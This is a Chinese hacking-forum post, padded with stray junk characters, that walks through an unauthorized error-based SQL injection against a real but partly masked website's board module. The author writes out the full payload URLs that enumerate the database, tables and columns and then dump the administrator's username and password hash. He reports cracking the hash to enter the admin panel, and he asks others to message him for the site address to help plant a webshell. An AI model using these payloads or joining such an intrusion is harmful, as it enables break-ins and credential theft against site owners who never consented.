近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
# h% w( ?& d, p! F) t/ ?; ~1 z! B首先找到网站后台,加了个admin,后台出来了 & N* c) Y/ m5 Q9 b
* Z+ O8 X' S- O) H/ C; ]8 \# K
M" p9 E- F% m" v) `8 M- ]5 d然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入0 i: V8 |9 ^5 O$ N1 e Y2 y
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))— i, S3 z/ ]8 H
, p8 ~+ r* y+ h1 c- }8 ^7 G2 M4 ]( V! A; V3 q+ T7 W7 c. u) m1 Y2 d
3 m1 _- B; C- c% [( d4 ^
- c- V3 ?7 ]5 ^8 p7 bhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
! }5 `- G$ Q7 z6 W% S9 ~5 G, O% M, U+ y
; f$ c0 O5 V( x1 c4 \! S! f$ \
9 T: m# K$ f( |6 d# a$ Q- V4 V$ W, x
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator( b4 p& x5 E: ]7 M# c& {" |4 P
3 u1 R7 ?3 s! Z
/ v& X$ t- W& E U% ]7 bhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg. c' a( ?1 D6 g' K
9 ~5 n! _2 R* m" o3 Q
4 {. R2 g/ ~+ T# a% r
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--6 E& H7 X% t0 N" S
' |: t( F0 D# j* z: Z! t' B- A0 }/ n7 ?& h
: i& E) c* {! m% t, J- V
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))-- N* z; c2 }+ g0 t3 z2 f. J
# z- j* F0 t; {# D% H) o* g: X
* f, C/ I7 w7 U
! I# U8 Z |: ]6 a& Z0 D* i; j% R 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |